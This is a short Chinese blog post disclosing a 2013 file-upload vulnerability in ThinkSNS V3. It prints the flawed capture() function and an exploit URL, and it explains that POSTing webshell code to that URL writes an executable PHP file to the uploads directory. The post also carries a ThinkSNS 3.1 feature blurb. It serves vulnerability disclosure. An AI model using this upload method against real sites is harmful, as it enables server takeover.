thinksns开源微博系统 V3上传漏洞

发布时间:2013-04-08  关键词: thinksns 微博 上传漏洞
ThinkSNS是基于互联网web2.0思想开发的老牌开源微博SNS系统,其开发始于2008年,其间经历了从 1.0→1.6→2.0→2.3→2.5→2.8→V3多个大版本的迭代,目前最新版本为V3。

thinksns v3

漏洞产生文件 attachaction.class.php:

public function capture (){
                error_reporting ( 0 );

                //解析上传方式
                $query_string        =         t ( $_SERVER [ 'QUERY_STRING' ]);
                parse_str ( $query_string , $query_data ); //覆盖data变量

                $log_file        =         time (). '_' . rand ( 0 , 1000 ). '.txt' ;

                $log_path        =         RUNTIME_PATH . '/logs/' . date ( 'Y/md/H/' );

                if (! is_dir ( $log_path ))
                        mkdir ( $log_path , 0777 , true );

                $file_path        =         './data/uploads/' . date ( 'Y/md/H/' );

                if (! is_dir ( $file_path ))
                        mkdir ( $file_path , 0777 , true );

                file_put_contents ( $log_path . $log_file , var_export ( $query_data , true ));

                //按钮截图:FileType=img
                if ( $query_data [ 'FileType' ]== 'img' ){
                        $file_name        =         'capture_' . time (). '.jpg' ;
                }

                //附件上传:FileType=Attachment & FileName=xxx.jpg
                if ( $query_data [ 'FileType' ]== 'Attachment' ){
                        $file_name        =         $query_data [ 'FileName' ];                 }

                //处理数据流
                if ( $stream = fopen ( 'php://input' , 'r' )) { //post获取内容
                        // print all the page starting at the offset 10
                        // echo stream_get_contents($stream, -1, 10);
                        $content        =         stream_get_contents ( $stream );
                        file_put_contents ( $file_path . $file_name , $content );
                        fclose ( $stream );
                }

                //include 'UploadFile.class.php';

                //$up        =        new UploadFile();
                //$up->upload('./uploads/');
                //$info        =        $up->getUploadFileInfo();

                //echo "<pre>";
                //var_dump($_SERVER);
                //var_dump($info);
                //echo "</pre>";

                //输出文件
                echo SITE_URL . ltrim ( $file_path . $file_name , '.' );
        }

对上传数据过滤不严,产生漏洞,构造URL:

http://目标网址/index.php?app=public&mod=attach&act=capture&FileType=Attachment&FileName=bug.php

POST提交webshell代码至以上url,将会在附件目录下生成bug.php,即获取到webshell。
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
ThinkSNS是智士的开源社交**台。采用PHP MySQL技术**台,微博 应用的产品模式,同时拥有iphone、android客户端、wap、3G版界面。通过应用、插件、风格包等丰富的扩展机制可以后台关闭和开启各种功能。是建立社交网站、微博**台、移动互联网创业的首选。 ThinkSNS 3.1 版本更新重点内容:2013-11-08 1、增加全新的3G版、优化手机客户端 2、增加定期邮件提醒功能 3、增加微吧分类,完善微吧权限 4、微博增加多图上传、优化多图展示 5、微博增加发帖时间间隔限制,防灌水 6、后台增加游客菜单配置 7、图片附件格式、大小配置与其他附件分开 8、个人空间可以展示应用的数据 9、优化了执行速度以及很多细节用户体验 10、增加第三方防护代码,大大提高了安全性 11、优化session存储路径,优化系统执行效率 感谢大家一直的支持,也感谢在此版本中参与的两个实**生 @石过过 @毕加波 新版的ThinkSNS定位于基于微博客的多应用SNS系统,具备以下特性: 核心模式:微博 SNS类APP ThinkSNS 具备完整的微博功能 提供了一套标准的微博程序,涵盖了微博全 方位的功能,并将微博作为其他应用互通的基 础应用,不仅方便用户迅速找到感兴趣的人, 方便用户间的互动和交流,还能给用户统一体验。 群组系统 群组相当于圈子,用户可以通过群组认识和结交具有相同兴趣爱好的人,发挥集聚效应。群组可作为独立应用嵌入ThinkSNS系统架构中,拥有创建群组,邀请好友,多人群聊,发表新帖,文件共享,成员管理等基本功能,并具有完备的后台权限配置,可自由把关群组审核,方便维护良好的沟通环境。 SNS类应用嵌入系统中 为了弥补微博在信息沉淀方面的不足,TS采用了微博 SNS类APP的模式,将**志、相册、群组、投票等应用嵌入微博系统中,方便用户间的深度交流。 支持wap,并提供手机客户端,包括iphone和android 移动互联网是未来发展的趋势,TS不仅支持手机WAP访问(3G版),还提供iPhone客户端下载,即将支持Android客户端,助您全方位布局移动互联网。 灵活、可扩展的应用机制和接口 *漫游**台应用接入 *易于二次开发 *多帐号登录支持BUG
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值